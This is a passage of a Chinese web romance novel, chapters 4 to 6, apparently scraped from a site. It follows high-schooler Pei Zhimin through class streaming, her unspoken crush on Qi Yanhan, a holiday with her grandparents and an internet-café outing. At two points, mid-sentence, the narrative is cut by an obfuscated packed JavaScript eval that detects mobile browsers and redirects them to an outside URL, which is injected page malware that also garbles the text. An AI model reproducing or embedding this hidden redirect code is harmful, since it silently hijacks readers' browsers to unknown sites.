大街上,随处可见年轻的身影,三五成群,朝着太阳奔去,热烈的声音消逝在风中,后面裴知悯和他没再说话了,走过了这一段短短的路,两人最后在公交站下别过。 站台前停留的,刚好是裴知悯回家的那班,她走上公交车投币,然后选了一个靠窗的位置,车辆那时还没起步,裴知悯回过头,静静地看着那抹高瘦的背影,逐渐消失在自己视野里。 4. 第4章 八月剩的一两天,裴知悯对着答案,把那没做完的数学卷子做了,那套题偏难,她磕磕绊绊地演算完,九月就到了。 年级主任早在暑假前就让他们把分科的事考虑好,如今一开学,文理分科表就下来了,薄薄的一张纸,写完名字和科目,便开辟出了两方不见硝烟的战场,千军万马的人在其中各自为营,冲锋陷阵。 他们那一届,百分之七十的人都选了理科,也是这一年,南礼中学为了打破外界“唯分数至上”的刻板印象,首次没有依照传统按成绩进行分班,而是选择了系统随机分配。 若按照惯例,凭裴知悯和喻书那相差不大的分数,极有可能同班,现在好了,同窗要全靠老天垂怜。 中午吃完饭,两人挽着手,往教室走。 路上,喻书一直双手合十,嘴里念念有词:“保佑保佑,一定要把我和裴知悯分在一个班,一定要啊。” 裴知悯笑她:“阿书,愿望要在心里说,念出口就不灵了。” 喻书才不信,让她“呸呸”两声,把那话收回去,随即又说:“在心里说上天怎么听得见。” 裴知悯一噎,她倒是没听过这种解读。 喻书拍了下裴知悯的手背,让她也跟着自己做,说两个人一起许愿,应该会更灵。 虽说现在的祈祷只能起个心理作用,但不想扫喻书的兴,裴知悯还是配合起了她。 可事实证明,人多力量大这种话在不确定的情景下还是不能乱用,一不小心就会适得其反。 机器无情,不但没把裴知悯和喻书放在一个班,还没放在一层楼。 她在七班,喻书则在十班。 喻书嘴巴一瘪,轻轻掐了下她的手臂,怪道:“裴知悯,你个乌鸦嘴。” 裴知悯也没想到自己一语成谶,赔罪似的朝她笑了笑。 好在十班就在七班楼上,从她的教室后门转角上去,五分钟都用不了,这也算是另一种慰藉了。 此时天空晴朗,阳光穿过茂盛的树荫撞上南墙,变成了细碎的金箔,风一吹,明明闪闪,像是浮光跃金。 两个女孩子站在教室外晒太阳,喻书眼里藏着忧伤,说以后她们再也不能在课上传纸条了,她早读睡觉,她也不能再帮自己打掩护了…… 裴知悯听着她讲这些实实在在的小事,一下就被戳中了,内心瞬间感慨万千。 喻臣因为转学的事,先去了教务处报道,这会儿领完教材上来,正好遇见她俩。 瞧她们不太高兴,喻臣便问了问原因,听完,他腾出一只手,拍了拍喻书的肩,“听哥一句话。” “什么?” 喻臣像是历尽千帆一般,洒脱地道了句“莫愁前路无知己”,说完,他就走远了。 这话的确有哲理,站在原地的两人相视一笑,那个午后,阳光温热,她们肩靠着肩,说了很久的话。 下午换教室,班里的众人都很潇洒,背上包没一点留恋地就走了,黑板上,写着一句:山高路远,江湖再见。 进到七班,裴知悯随便找了个空桌放书,一趟搬不完,她还要回去一次。 大家都在搬书,走廊上人声嘈杂,裴知悯慢慢往回走,来来往往的人群中,男生白衣黑衬衫,抱着一摞书,径直走进了六班。 他居然在自己隔壁班? 路过六班,裴知悯假装不经意地扭头,祁砚寒就坐离窗不远的位置上,正和喻臣说话,她只看了一眼,就敛回了视线。 搬书是个力气活,来回这么两趟,把裴知悯累够呛,书歪歪扭扭地堆在桌上,她没空去管,喝完了水就坐在那儿休息。 “来,擦擦吧。”递来纸巾的是同桌的女生,一头齐肩短发,笑容很可爱。 裴知悯接过纸巾擦汗,“谢谢。” “没事没事,”女生心地很好,还拿了本书给她扇风,“我叫时恬,你呢?” 裴知悯停下动作,连忙介绍自己:“我叫裴知悯。” “很高兴认识你。”她说。 她微笑回道:“我也是。” 和时恬没聊几分钟,就有人从背后拍了下裴知悯,她回头一看,是她原来班上的班长林泽民。 “这么巧,”男生眼里的惊讶藏不住,“又成同学了。” 裴知悯也笑:“好巧。” “以后多多关照啊,”林泽民笑着说。 她摆摆手:“不敢当。” 枝繁叶茂的树将窗子染成了绿色,暮夏的风吹来,树影婆娑,人影晃动。 班里坐满了人,或许是刚认识,大家都还很拘谨,腼腆地说着话,教室里声音不大。 后来谁也没想到,他们会疯成那个样子。 休息够了,裴知悯开始收拾桌子,中途喻书来了,喊她帮忙传个话。 南礼中学进出校门都需要校卡,喻臣初来乍到,校卡不知道办没办,怕他忘,她就说下来提醒下,奈何没见到人。 整理完书,裴知悯去了六班后门,望了两圈都没看见喻臣。 一道低沉的男声蓦地响在耳边。 “来找人?” 裴知悯一惊,立马转头看去,祁砚寒不知什么时候出现在了她身后,她视线的尽头,是他衣料的黑色。 此时两人之间的距离不过半米,男生身上的味道干净好闻,有种雪融之时的清冽。 裴知悯的鼻腔间全是他的气息,她心跳微乱,垂着眼,轻轻“嗯”了声。 祁砚寒默了须臾,试探道:“喻臣?” 裴知悯点了点头。 凭借身高优势,男生轻松地越过裴知悯看向教室,扫过一圈,说:“他没在。” “我知道,”裴知悯咬了下唇,“我晚点再来。” 祁砚寒注视着眼前眉眼低垂的女生,询问道:“你在几班?” 裴知悯不知道他怎么问起这个了,她顿了下,指了指旁边七班门上的班牌。 祁砚寒仰头看过去一眼,平静道:“我让他等会去找你。” 裴知悯:“好。” 说来也巧,他们刚商量完,喻臣就从转角走了出来。 “你俩……在等我?”看他们双双望着自己,喻臣不确定地开口。 祁砚寒嗓音淡淡:“没我的事。” 那就是知悯找自己了? 喻臣看向她,以眼神询问。 裴知悯说起好友的交代:“喻书让我提醒你去办校卡。” “办了,”喻臣一副尽在掌握的样子,下一秒,他就从兜里摸出一张蓝白色的卡,在这两人面前晃,“看看,帅不帅?新鲜出炉的。” 裴知悯顺着他的话看去,校园卡上的男生浓眉星眼,鼻梁挺直,标准的帅哥长相。 这人一脸嘚瑟样,祁砚寒“啧”了声,看都没看就进了教室。 裴知悯看过,很给面子地夸了两句,才回到七班,那时候时恬在和她的后桌聊天,男生叫李淮川,长得斯文清秀,笑起来很阳光。 裴知悯出着神,没参与他们之间的对话。 整个下午,全年级都忙着分班,等到这些事全部尘埃落定时,已经到了放学的点。 这天苏英和裴振难得都在,裴知悯打开家门时,他们正在电视前看剧,见她回来了,苏英起身去切了盘水果过来。 裴知悯放下书包,洗了手去到沙发坐下,裴振关心起了她学校里的情况,“怎么样啊?今天开学。” 裴知悯吃了块西瓜,说:“挺好的。” “年级选理科的人多吗?”苏英问道。 “多。” 裴振露出个了然的表情,“正常,年年都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793074|158213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样。” 裴知悯也说“是”。 苏英扭头看向裴知悯,旁敲侧击道:“现在分了科,你也要把心思放在学习上来,高考是千军万马过独木桥,一辈子没有几次,其他的事,以后再做也不迟。” 明白她话里的深意,裴知悯敛着眉眼,乖乖地应了声“好”。 说完这个,一家人又聊了十多分钟,苏英就去准备晚饭了,父女俩坐在电视机前,都没说话。 裴振把电视声调大了些,转头看向裴知悯,语重心长地开解:“知悯,你别怪你妈妈,她也是为你好,毕竟你现在学业重,压力大,要是为了画画把学习落下了,得不偿失。” 裴知悯抿出个笑,说:“我知道的,爸。” 那笑容中夹杂了几分苦涩,怕是只有裴知悯知道,不能随心所欲地画画,自然是一方面,还有,她的父母不信任她,能平衡好爱好和学业。 电视恢复成之前的音量,厨房乒铃乓啷,没一会儿,空气中就飘出了鱼汤的香气。 — 开过学,日子就忙碌起来了,成堆的作业还有各种考试,铺天盖地地来。 裴知悯被课业压得喘不过气来,画稿几乎开展不了,只能偶尔利用课余时间勾些人物画,保持一下手感。 第三次周考过后,就是月考了。 彼时大家早就混熟了,课后的教室,里外都是一片吵闹谈笑,没多少人在意这次普通的考试。 学霸当然不担心,学渣担心了也没用,最担心的就是裴知悯这种好得还行的。 那时她的座位就在靠走廊的窗边,每次做不出来题,她都会习惯性地望一望窗外的天,然后期待一下,那条很长的过道上,能出现她想见的人。 裴知悯最后如愿了。 那阵子,有个女生经常来找他,两人站在栏杆前吹风说话,有说有笑。 她忽然觉得天也没什么好看的,索性移开了眼。 这天的第二节是物理,晦涩的天体知识,老师在上面讲得慷慨澎湃,下面的人一潭死水,好不容易熬到下课,教室里瞬间趴下了一大片。 裴知悯没睡,记完黑板上的笔记,她就打算出去接水,时恬瞧出她的下一步,双手递来自己的杯子,讨好一笑:“大恩不言谢。” 时恬是真困,裴知悯拿上杯子还没走,她就双手交叠,倒头眯了下去。 凉爽的风涌进走廊,晃起少女的衣摆,六班的教室外,那个女生捋了下发梢,笑容依旧明媚,和他说话。 裴知悯别开目光,去了公共的接水处,接完水回来时,卫旭和蒋琛正靠在栏杆上闲聊,他们背对着九班的教室,没有注意到她。 “这么久了,何语苒还在追砚哥呢?”卫旭笑嘻嘻地问起。 蒋琛瞧了眼六班那边的情况,轻微颔首说:“应该是。” 卫旭眯了眯眼,想起什么,扭头问道:“那女生是文科班的吧?” 蒋琛肯定地点头。 南礼中学的教学楼是南方典型的“回”字形,文科班在他们的斜对面,那女生要过来,需要绕大半个教学楼。 卫旭笑了,感叹道:“砚哥这是真招姑娘喜欢。” 蒋琛那个方向抬了抬下巴,语调懒散,“人家学霸一个,听说上次的周考,她是文科的第一。” “那敢情好啊,和砚哥挺配。”卫旭一时激动,脱口而出。 蒋琛意味不明地笑了声,“看吧。” 裴知悯默默从他们身后走过,一路低着头,七班门口,她眼神不受控制地,再次看了过去。 那女生不知说了什么,他偏头笑了下,下颌线锐利又清晰,俊气得不行。 裴知悯敛下落寞的眼,走进自己班。 你不是知道吗? 喜欢他的,不只你一个。 5. 第 5 章 月考在国庆的前一天落下了帷幕,考完后,欢呼声响彻了整栋楼,男生的声音高亢,跟狼嚎似的,在那些释然的欢笑中,他们各自回到各自教室。 走廊上堆满了书,乱七糟八中透着另一股子的井然有序,裴知悯在中间找到自己的那摞,搬进里面。 那会儿教室里都没什么人对答案,前前后后的人都在说去哪儿玩,讨论得热火朝天的。 放了书,裴知悯就开始翻资料,生物有几个选择题考的知识点很偏,她怕自己记混了。 找到那页,裴知悯觉得天都要塌了,心想当时就该相信第一直觉。 时恬看她满脸的后悔莫及,大致猜出来了原因,凑近来宽慰道:“考完就过了,再想就只能徒增烦恼,现在还早呢,你别分都还没出来你就杞人忧天上了。” 裴知悯两眼一闭,无奈地叹了口气。 林泽民瞧着她带着忧伤的后脑勺,缓缓出声说:“考试本来就是查漏补缺的过程,一次小考,没多大的事儿。” “班长,”裴知悯转过头来问他,“你生物最后那两道题选的什么?” 林泽民现在还是班长,裴知悯对他的称呼就没变,这人是妥妥的学霸,理综手拿把掐。 “记不得了。”怕她伤心,林泽民到底没说。 裴知悯不知道信了没信,后背贴上他的桌子前面,一言不发地看别人说笑。 “亡羊补牢,为时不晚。”林泽民在身后说了一句。 裴知悯听出了他的开解,乐了一下,她关上书,侧头欣赏起了窗外的景色。 当时正好五点,太阳西斜,绯红的霞光铺了半边天,盛大又绚烂,空气里尚存的几分余热,在教室的燥热面前简直不值一提。 考完试到出成绩的这段时间,大概是学生最高兴的时候了,什么烦恼忧愁,什么分数排名,暂时都可以抛之脑后。 教室里,女生们聊着娱乐八卦,男生则在后面打闹,这群人把足球当篮球踢,篮球当羽毛球打,吵闹肆意极了。 晚一点,班主任过来说了几句国庆期间的注意事项,就放学了,班里的同学走得很迅速,没几分钟就没剩什么人了,裴知悯不出所料的,仍是那最拖的一个。 喻书倚在窗台上,等她收完东西一起走,期间她们聊天,话茬逃不过考试,说到那个生物题,两人不约而同地懊悔起来。 喻书突然想通了似的摆摆手说:“算了算了,每次咱俩说到错题,都要把这辈子的悔恨都用上,为了不亏欠咱下辈子,到此为止吧。” 裴知悯抿唇笑了,也不再说考试的事。 装完书,她走出教室和喻书一道下楼,经过六班,里面空无一人。 裴知悯疑惑:“喻臣哥没等你?” 喻书摇摇头,说:“他们要去外面玩,我不想去。” “他们”具体指的是谁,裴知悯大概知道一点。 “你说我哥整天这样‘不务正业’的,不会考个倒数吧?”喻书担心地问。 来到南礼,她就没见过这人写过什么作业,放假就是和那一堆人出去疯。 “不至于吧。”印象里,喻臣的成绩一向很好。 到了楼梯口,一阵嬉笑声传进耳朵。 两人闻声看去。 祁砚寒、喻臣还有卫旭都在那边,其中还有另外几个裴知悯不认识的。 一群人在那儿说说笑笑,一点都不着急走,看上去应该在等人。 落日余晖撒在长长的连廊上,地上闪着一大片金光,那人单手插兜,姿态松弛地站在万丈光芒里。 他侧对着她,慵懒地听别人讲话,七分笑意的脸上,有三分的漫不经心。 男生嗓门大,笑声也大,那么多人之中,就属他笑得最轻狂。 喻书看着喻臣那有点吊儿郎当的模样,不禁撇嘴说:“就这么一个月,真不知道我哥是怎么认识这么多人的。” 裴知悯笑了一下,没吱声。 男生的友谊总是来得猛烈自如,课后打上几次球,食堂遇见一起吃个饭,一来一回就熟识了。 “换个角度想,说明喻臣哥人缘好。”裴知悯说。 喻书“嘶”了一声,表情不是很赞同的样子。 那头,一个女生背着书包跑了出来,对祁砚寒说了句什么,男生的笑声瞬间就大了。 那女生一出现,裴知悯就认清了,是她。 男生笑过后,浩浩荡荡地走向了那一侧的楼梯口。 广播站放着歌,清扬悠长的旋律响在头顶,校园里只有三三两两的学生,那帮人不疾不徐地走着,隔着不近不远的距离,裴知悯的眼神落了无数次在他的后背上。 “你国庆还是画稿吗?”喻书听着他们的笑声,忽然问道。 “没,”裴知悯敛了敛视线,拈轻的说,“要先写作业。” “行,”喻书挽上她的手臂,“写完到时候我们也去玩去。” 裴知悯笑:“好。” 出了校门,他们往左,她们往右,那行人有说有笑,声音青春肆意,伴随着喻书的一句“不知道今天又去哪儿浪荡了”,他们分别走入人群。 那一年裴知悯国庆有七天假,但裴振和苏英的单位只放三天,考虑到她一个人在家一日三餐的问题,两人就让她国庆回栖梧去住。 暑假忙着补课,裴知悯回不去,现在有机会,她想都没想地就同意了,正好她也想吃外婆做的桂花糯米藕了。 裴知悯的外公外婆住在南城下面的一个小镇上,小镇的名字就叫栖梧。 每次念出这两个字时,都会让她想起那个很美的词牌名:凤栖梧。 诗情画意的小镇风水很养人,宜居宜旅,外婆许兰君是个很有生活情调的人士,院子里种满了花。 裴知悯推开院门时,鲜花的清香扑鼻而来,青石板一路延伸,她拖着个小行李箱往里走,回来的事她没告诉老两口,就想给他们个惊喜。 在院子里浇花的老人听见箱子的响声,以为是过路人,头都没转就说:“这里不招待人,出门左转有旅馆。” 裴知悯眉眼弯弯,出声反问:“外公,自家人也不接待?” 苏献培听到熟悉的声音,顿时惊讶了:“知悯!” 这一声吸引了在餐厅里忙活的许兰君,老太太出来一看,当真是她的宝贝外孙女。 两个老人一见到裴知悯就高兴得不行,赶忙拉着她进屋说话。 老太太摸着她的手,细细端详说:“瘦了。” “没有,外婆,”裴知悯捏了捏自己的腰,“我肉都长在肚子上了。” 老人家笑着摸向她的小腹,说她是应该要多吃点,读书脑力消耗大。 “知悯,外公养的这花可好了,”苏献培把茶几上的花换了,“你到时候带一些回去,装饰装饰家里,看着漂亮的花,人心情都会好些。” 裴知悯笑着应:“好。” 中午时候,裴知悯想吃桂花糯米藕,可她回来得突然,老太太上哪儿去找莲藕,没办法,许兰君只能给她做顿简单的家常菜,可是再简单,外婆的饭菜做得也很好吃,有柴火的香气。 吃过饭,老头打理完院子里的花花草草,就出去打牌了,家里只有祖孙两个人。 这天的阳光很好,暖融融的,晒得门外的小猫都打起了盹,许兰君摘了新鲜的桂花洗净放干,就去了客厅连着小院子那块,那里躺着一大片阳光。 装着毛线和棒针的篮子摆在地上,老太太开了一卷灰黑色的线团,开始起针。 许兰君心灵手巧,家里的毛衣开衫之类的大都是自己织,老太太动作娴熟麻利,两三分钟就织了个开头。 裴知悯拉了个小板凳,在她身边坐下,“外婆,你又准备给外公织毛衣啊?” 老太太扬眉,嗯哼了一声。 “没我的吗?”裴知悯故意问。 “外婆只有一双手,又要给你外公织,还要给你妈妈,还要给你,诶,”老太太长叹一声,“忙不过来哟。” 裴知悯笑了,侧身给她捶肩膀,暗示道:“但是,外婆,现在天气转凉了,我同学都有人在带围巾,你看看我的脖子,是不是缺点什么?” 老太太当没听懂似的,接着她的话茬说:“那后面你生日,外婆给你买条项链戴。” 裴知悯抿着嘴不言语了,收手帮她扯毛线,老太太藏着笑,苍老的声线中带着期冀:“等你寒假回来看外公外婆,就有你的毛衣了。” “好呀。”裴知悯答应得爽快,还让她不要忘记了,老太太自然不会忘。 一卷毛线卷完,裴知悯被许兰君弄走,让她玩去。 裴知悯坐在沙发上,百无聊赖地换着电视频道看。 “怎么了?”老太太看她兴致不高,以为是坐车累到了。 裴知悯恹恹道:“无聊。” 老人家看来一眼,提议说:“那画会儿画?” 裴知悯抿嘴:“妈不想让我画。” 老太太默了一瞬,“怕影响你学习?” “嗯。” “她现在又不在,管不着你。”老太太笑。 裴知悯有一瞬间的动心了,但苏英的忠告犹如警钟似的,响在她耳边。 许兰君又瞥来一眼,“没带本子?” “带了。” 老太太没说话了,只是笑,裴知悯咬了下唇,放了遥控板跑上二楼,把画本和笔通通拿了下来。 那个午后,外婆在那儿织毛衣,她在一旁画稿,两人都做着自己喜欢的事,时不时说会儿话,时光美好。 光线慢慢从小院里退了出去,暮色合拢起。 “囡囡,”老太太看了眼半黑的天色,放下手里织了一半的毛衣,“去喊你外公回来了,我去做饭。” 裴知悯随口一问:“晚饭吃什么?” 老太太背着手往厨房走去,“桂花蒸饭,糯米藕。” “外婆你最好了。”裴知悯欢呼,放了笔就像一阵风似的跑出去了。 许兰君看着外孙女活蹦乱跳的背影,摇头笑笑低语果真是个孩子。 苏献培回家,不仅带回了藕,还给裴知悯带了几个老友家的黄桃,树上就剩了这么点,主人家本来是要做成罐头的,哪料被她外公截胡了。 晚上,裴知悯吃上了她心心念念的桂花糯米藕,桂花清甜,莲藕软糯,是她记忆里的味道,刚摘下来的桃子很是新鲜,咬起来清甜可口。 那个时候,她年少无畏,外公外婆身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14793075|158213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 康健,时间对他们还很宽容。 — 在栖梧的这几天,裴知悯快活得赛个小神仙,起得早了,有外婆做的阳春面,晚了的话,老太太就带她去吃镇上的三线米线,午后,她们就躺在摇椅上晒太阳,然后她画点稿子,喝喝茶,侍弄侍弄花草,一天就这么过去了。 然而快乐的时光总是短暂,转眼就到了十月七,裴知悯要回去了。 临走时,老太太拿出了一早织好的围巾给她,“早就给你织好了。” 裴知悯感受着手里的绵软细密的面料,感动得稀里哗啦的,她拖着箱子抱着花,走几步就回头朝他们挥手回屋,外公外婆目送着她,直至身影不见。 回到家刚休息个把小时,喻书就来电话了,让她出来玩,说她不来自己就要无聊死了,裴知悯拗不过她的念叨,同意了。 十月伊始,南城就在慢慢降温了,外头风大,裴知悯穿了件打底衣,外罩一件娃娃领的白衬衫才出门。 喻书说的地点在繁华大街,路边种满了银杏树,秋风瑟瑟,吹起满地黄叶,她沿街边看风里的叶子边走,到了地方才发现是个网吧,裴知悯盯着那两个字,踟蹰半天才迈开脚,平生第一次踏进这种地方,她每走一步都是战战兢兢的。 大抵是她那天穿得有点乖,配上那张单纯无辜的小脸,还有那心虚的动作,怎么看都像是背着家里大人偷偷出来找刺激的。 前台人员喊了句“小姑娘”拦住她,裴知悯转过身,那人问起了她的年龄,学校。 裴知悯回答完第一个问就皱起眉头,这年头进个网吧还要查户口了? 她垂着脑袋,不想说。 祁砚寒出来透口气时,正巧撞见他们,一个低着头紧闭嘴,一个在追问,像极了个小型的教育现场。 他走近来问:“怎么了?” “这姑娘非要进去,”年轻男人说,他侧头看着她,有点无奈,“妹妹,我们这儿是做正经生意的,你先回去好好读书,考个好高中行吗?” 考个好高中? 祁砚寒蓦地笑了声,看向了女生乖巧的脸,她个子不高,只到他胸前,是有点欺骗性。 他嘴角还挂着笑,懒洋洋地问那人:“她跟他说她是初中生?” 话音刚落,裴知悯就急忙说:“我没有。” 年轻男人想了下,“她确实没说。” 猜出是有人喊她来的,祁砚寒看向她问:“怎么不让你朋友出来接你?” 裴知悯抿唇,解释道:“手机忘带了。” 年轻男人稍稍感觉不对,问他:“你认识她?” “朋友的朋友。”他声音清淡得不行。 那人表情僵了下。 不知道为什么,裴知悯看着他轻微变化的脸色,有点好笑。 没过一秒,那人就恢复自然,笑起来对她说:“你早说你和他们认识啊。” 裴知悯客气地扯了下嘴角,你也没问我啊。 说完,他就递来笔,让她登记个名字。 祁砚寒看着纸上“裴知悯”那三个字,微挑了下眉,簪花小楷的字迹工整娟秀,和她整个人的气质倒是很搭。 写完,她跟着他一道进去。 裴知悯一边走一边打量这里的设施环境,和她刻板印象里的网吧不同,脚下的地板干净,电脑桌上也没有成堆的泡面垃圾,没一点乌烟瘴气的影子,真还挺正规。 网吧前面全是机子,往里走却不同,类似个小型游戏厅,台球桌棋盘跳舞机应有尽有,各个区有屏风隔断。 一群人在那儿打台球,喻书站在角落观看,裴知悯扫了一圈,径直去到了她旁边。 “知悯,你可算来了,”喻书把她整个人圈在怀里,头靠在她的肩上。 “怎么了?” “还不是我哥,我说你今天回来,就想约你去学校附近的游戏厅玩,”喻书瞪了一眼在打台球的喻臣,“喻臣非说那里鱼龙混杂的,不让我去,转头就把我拉到这儿来了。” 裴知悯了然。 喻书环顾了下四周,“这下好了,台球我不会,下棋又没人陪,就只能干站着。” 说完她还特庆幸地补充了句:“还好你来了。” 裴知悯笑了声,颇有点小傲娇,“感激我吧。” 喻书合上双手:“感激感激。” 两人聊了两句,就玩起了飞行棋,台球桌在她们不远处,几个男生一边聊天一边打,球杆撞击台球的声响此起彼伏。 “砚哥,路泽珩那表妹追了你得有一个多月了吧?”有男生问起。 有人道:“那可不,天天就往六班去呢!虽说他们是一个语文老师,但也不至于每次大课间都过去说语文吧!” “语文”那两个字,被他加重了音调,其中自然意有所指。 “说实话,”那男生挨近他问,“你是不是早就跟人家好上了?” 祁砚寒扯了下嘴角,没吭声,手一拉一推,把眼前的纯色六号轰进口袋。 众人见他没否认这态度,调侃瞬间就来了,音量大了些,说什么下次把女朋友一起带来。 裴知悯手指不自觉地紧了下,她别过头,一阵鼻酸涌上来。 外面的银杏叶落了。 6. 第6章 笑声在台球厅里持续了好一阵,等到没了声儿,祁砚寒才不冷不淡地开腔:“笑完了?那就闭嘴。” 众人呆住一秒,而后反应过来,这事儿没戏。 那男生不死心,追问道:“不是,真没成啊?” 祁砚寒低头给球杆擦粉,气笑了说:“你看我和她像成了的样子?” 那人抓了把头发,叹了下说:“诶,可惜了。” “没什么可惜的,”祁砚寒脸色严肃起来,冷声道,“我和她什么都没有,这事以后也别在外面说,对她影响不好。” 那人好好地应下来,有人玩笑地说了句他还挺为人家女孩子着想,就打着哈哈让这话题过去了。 卫旭在一旁小声说:“人家妹子对砚哥一片痴心呐,哪料落花有意,流水无情。” 蒋琛笑:“砚哥都说了没感觉,也就是咱们在这瞎操心。” “你早就看出来了?”卫旭问。 “那不然呢?”蒋琛低声说,“祁砚寒要是喜欢个女生,早就出手了,还轮得到咱在这儿猜来猜出的。” “说得也是,”卫旭思索了下赞同道,朝他挤眉弄眼,“但我觉得,肯定有姑娘能治他,比如上次那个。” 蒋琛哼了一声,朝球桌扬了扬下巴,“看球。” 那会儿祁砚寒正在和喻臣打对抗,两个一米八几的帅哥凑在一起,养眼得不行,吸引了好些个在网吧打游戏的女生围观。 裴知悯和喻书下了两盘飞行棋,都是喻书赢了,这人高兴得不行,兴致勃勃地要拉着她再来一局,抬头却看见球桌旁站了人,以为发生了什么事,拉着裴知悯就过去了。 “什么情况啊?”喻书走到蒋琛和卫旭身侧问。 “你哥和砚哥打球呢,”蒋琛说。 “难怪这么多人,”喻书环视一遭,跟裴知悯低语,“这些女生八成是来看帅哥的。” 裴知悯笑了下,不置可否。 既来之则安之,问完了话,喻书也没打算继续下棋,裴知悯跟着留在了那儿。 当时球权在喻臣手上,祁砚寒环臂倚在另一张空桌上,男生黑卫衣黑牛仔裤,眉目冷厉,漫不经心地观看着场面。 就是这股慵懒的劲儿,惹眼得慌,有两个女生眼神都快粘在他身上了。 裴知悯敛回视线,当没看见她们眼里的兴趣。 “要不要咱们赌一赌,看他们谁会赢?”有男生拱了下卫旭的手肘,提议道。 “行啊,”卫旭看了眼战况,想了两秒说,“我赌喻臣。” “那我赌祁砚寒。”蒋琛和他对着干。 喻书就站在蒋琛身边,他自己说完就问起了她们,“你们呢?” 喻书毫不犹豫:“这还用问?我肯定赌我哥赢。” “行,”他目光移向裴知悯,笑着问,“压一个?” 裴知悯顿了下,说:“和她一样。” 剩余的人各自选完,卫旭主持全场地说选定离手,概不更换,有男生让他少啰嗦,大家都不换。 一点“嘶”声响起,是赌喻臣赢的那波人发出的,他的这颗纯色球停在了库边没进,球权交换给了祁砚寒。 球桌上只有三颗花球,男生笑着过来,嚣张地问:“还想上场吗?” 失误本就让人烦躁,喻臣眯了眯眼,不爽道:“要打就打,少说废话。” 祁砚寒笑了一下,擦完粉弯腰,架杆开打,他额前的黑发垂着,眸子又黑又亮。 那双放在台面上的手骨节分明,张开用力时,手背青筋凸显,漂亮至极。 全部人的目光汇集过去,那人一杆一杆的,干脆利落地将黑八打入口袋。 胜负已定。 祁砚寒放了球杆站直身体,看向喻臣笑意张狂:“承让了啊。” 喻臣瞥他一眼:“少装。” 话里的不服气明显。 后来他们没再打了,另外几个男生来开了局新的,围观的人褪去,那片立时就剩了他们几个。 祁砚寒悠然地坐在沙发里,蒋琛靠着柜子边,他嗓门大,说起方才的打赌,说自己果然没选错人。 那人勾起嘴笑,朝喻臣挑了下眉,明晃晃的狂妄,喻臣咬着牙根,把气咽下去。 在里面待久了难免闷,裴知悯和喻书说她去外边坐会儿,就走向了走廊的通风口处。 窗外秋色正浓,一树一树的银杏,扑簌扑簌地落,风很大,缠着黄叶狂舞。 裴知悯没久站,感受到脸颊变凉就原路返回了,走到转角,前方骤然出现了一抹黑色。 祁砚寒背对着她,面前站的是刚才围观女生中的一个,那人拿着手机,看样子是在要他的联系方式。 女生青春靓丽,水灵的眼里藏着小心翼翼的试探和喜欢。 “不好意思,没带手机。”男生声音低沉。 女生一点不气馁,向前迈了一步,笑意盈盈地说:“你可以说电话号码,我存下来以后给你打。” 祁砚寒往后退了点,靠在墙上,一副玩世不恭的模样,说了说别的,“我学习差得不行,每次考试都是倒数,就是因为记不住东西,尤其是数字。” 要不是知道他成绩,裴知悯都要信了他这胡诌的话,她闭上眼,无声笑了下。 “你自己的电话都记不住?”女生也不信他这鬼话。 “记不住。” 这么明显的拒绝,女生哪能听不出,但好不容易遇上个动心的,她不想就此错过。 “那我把我的电话写给你,”女生灿烂地笑着,锲而不舍,“你回去加我可以吗?” 祁砚寒都听笑了,声调散漫:“我不仅记忆力不好,还总是丢东西,你写了我也收不好。” 那女生怔住了。 他换上正经的神色,话张口就来:“我这人吧,仗着这张脸,伤了很多女生的心,你还是别在我身上花心思了,免得重蹈她们的覆辙。” 不知真假的话,让两个女生同时僵了下。 他话都说到这个份儿上了,再坚持下去也没什么意思。 女生悻悻地往裴知悯这条路走来,她心一惊,幸好那人低着头,没注意到她。 女生握着手机发消息,力度大得都要按穿屏幕了,裴知悯听见她边打字边忿忿地吐槽了句什么人呐,忍不住又笑了。 她走了,祁砚寒却没迈开脚,裴知悯自然也不敢动。 “我就是路过,没想到就撞见了这么绝情的一幕,”之前在外面拦裴知悯的年轻男人从另一侧走出来,一脸看好戏的表情。 “章钦,你说的话你自己信不信?”祁砚寒侧目乜他。 章钦握拳虚咳了声,他的确不是路过,他是专程过来的。 “话说,有你这么编排自己的吗?”章钦笑话他。 “那有什么办法?”祁砚寒一点不在意刚才乱说的一通,“不这么说我走得掉?” 章钦笑着颔了颔首:“但有句话你没说错。” 祁砚寒抬眼,等着他的后话。 “是伤了许多女生的心。”章钦说。 他来这儿好多次了,几乎每次都有人来前台打听,起先章钦还应付得过来,后面次数多了,他就直接在前台放了个小立牌。 [本店不提供顾客的私人信息,如遇见喜欢的人,大胆点。] 祁砚寒哼笑了声,转身回去,走了两步,问起正事:“找我什么事?” “你家小姑娘找你。” 祁砚寒闻言才想起还有个小祖宗的事,他眼皮重重一跳,侧眸看过去,咬牙道:“你不早说。” 章钦满脸无辜,指了指背后的空气,“你刚才不是在和人姑娘说话吗?我难道二话不说就进去插一嘴?” “你来了我也少说自己两句坏话。” 章钦笑大了,“你也知道你在说自己坏话啊。” 祁砚寒懒得理他,走出走廊,就去找方芷宜了。 他母亲那边人丁单薄,这一辈除了他,就还有个小姨的女儿方芷宜,小姨夫妇这几天出差了,小姑娘就被放来他家住几天,今天家里只有他俩,留她一个人在家祁砚寒不放心,才把这娃娃带了上。 — 